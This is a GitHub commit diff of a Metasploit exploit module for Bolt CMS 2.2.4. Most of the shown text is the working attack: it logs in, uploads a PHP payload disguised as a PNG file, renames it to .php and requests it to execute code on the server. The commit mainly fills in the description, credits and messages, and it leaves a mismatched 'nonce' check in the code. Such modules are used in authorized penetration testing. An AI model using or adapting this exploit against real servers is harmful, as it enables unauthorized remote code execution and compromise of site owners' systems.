Skip to content

Commit cc40595

Browse files
committed
Add some improvements
1 parent 4531d17 commit cc40595

File tree

1 file changed

+33
-28
lines changed

1 file changed

+33
-28
lines changed

modules/exploits/unix/webapp/bolt_file_upload.rb

Lines changed: 33 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -14,19 +14,21 @@ class Metasploit3 < Msf::Exploit::Remote
1414
def initialize(info = {})
1515
super(update_info(
1616
info,
17-
'Name' => 'Bolt File Upload',
17+
'Name' => 'CMS Bolt File Upload Vulnerability',
1818
'Description' => %q{
19-
To do.
19+
Bolt CMS contains a flaw that allows a authenticated remote
20+
attacker to execute arbitrary PHP code. This module was
21+
tested on version 2.2.4.
2022
},
2123
'License' => MSF_LICENSE,
2224
'Author' =>
2325
[
24-
'To do', # Vulnerability Disclosure
26+
'Tim Coen', # Vulnerability Disclosure
2527
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module
2628
],
2729
'References' =>
2830
[
29-
['URL', 'http://todo.com']
31+
['URL', 'http://blog.curesec.com/article/blog/Bolt-224-Code-Execution-44.html']
3032
],
3133
'DisclosureDate' => 'Aug 17 2015',
3234
'Platform' => 'php',
@@ -133,24 +135,24 @@ def exploit
133135
print_error("#{peer} - Failed to authenticate with Bolt")
134136
return
135137
end
136-
vprint_good("#{peer} - Authenticated with Bolt")
138+
vprint_good("#{peer} - Authenticated with Bolt.")
137139

138140
token = get_token(cookie)
139141
if nonce.nil?
140-
print_error("#{peer} - No nonce")
142+
print_error("#{peer} - No token found.")
141143
return
142144
end
143-
vprint_good("#{peer} - Token #{token} found.")
145+
vprint_good("#{peer} - Token \"#{token}\" found.")
144146

145-
vprint_status("#{peer} - Preparing payload...")
147+
vprint_status("#{peer} - Preparing payload...")
146148
payload_name = Rex::Text.rand_text_alpha_lower(10)
147149

148150
data = Rex::MIME::Message.new
149151
data.add_part(payload.encoded, 'image/png', nil, "form-data; name=\"form[FileUpload][]\"; filename=\"#{payload_name}.png\"")
150152
data.add_part("#{token}", nil, nil, 'form-data; name="form[_token]"')
151153
post_data = data.to_s
152154

153-
print_status("#{peer} - Uploading payload...")
155+
vprint_status("#{peer} - Uploading payload...")
154156
res = send_request_cgi(
155157
'method' => 'POST',
156158
'uri' => normalize_uri(target_uri, 'bolt', 'bolt', 'files', 'theme', 'base-2014'),
@@ -161,28 +163,31 @@ def exploit
161163

162164
unless res
163165
print_error("#{peer} - No response from the target")
166+
return
164167
end
165168

166169
if res.code == 304
167-
print_good("#{peer} - Uploaded the payload")
168-
end
169-
170-
rename = rename_payload(cookie, payload_name)
171-
if rename.nil?
172-
vprint_error("#{peer} - No renamed filename")
173-
return
170+
vprint_good("#{peer} - Uploaded the payload")
171+
172+
rename = rename_payload(cookie, payload_name)
173+
if rename.nil?
174+
vprint_error("#{peer} - No renamed filename")
175+
return
176+
end
177+
178+
php_file_name = "#{payload_name}.php"
179+
payload_url = normalize_uri(target_uri.path, 'bolt', 'theme', 'base-2014', php_file_name)
180+
vprint_good("#{peer} - Parsed response")
181+
182+
register_files_for_cleanup(php_file_name)
183+
vprint_status("#{peer} - Executing the payload at #{payload_url}")
184+
send_request_cgi(
185+
'uri' => payload_url,
186+
'method' => 'GET'
187+
)
188+
vprint_good("#{peer} - Executed payload")
189+
else
190+
print_error("#{peer} - To do")
174191
end
175-
176-
php_file_name = "#{payload_name}.php"
177-
payload_url = normalize_uri(target_uri.path, 'bolt', 'theme', 'base-2014', php_file_name)
178-
vprint_good("#{peer} - Parsed response")
179-
180-
register_files_for_cleanup(php_file_name)
181-
vprint_status("#{peer} - Executing the payload at #{payload_url}")
182-
send_request_cgi(
183-
'uri' => payload_url,
184-
'method' => 'GET'
185-
)
186-
vprint_good("#{peer} - Executed payload")
187192
end
188193
end

0 commit comments

Comments
 (0)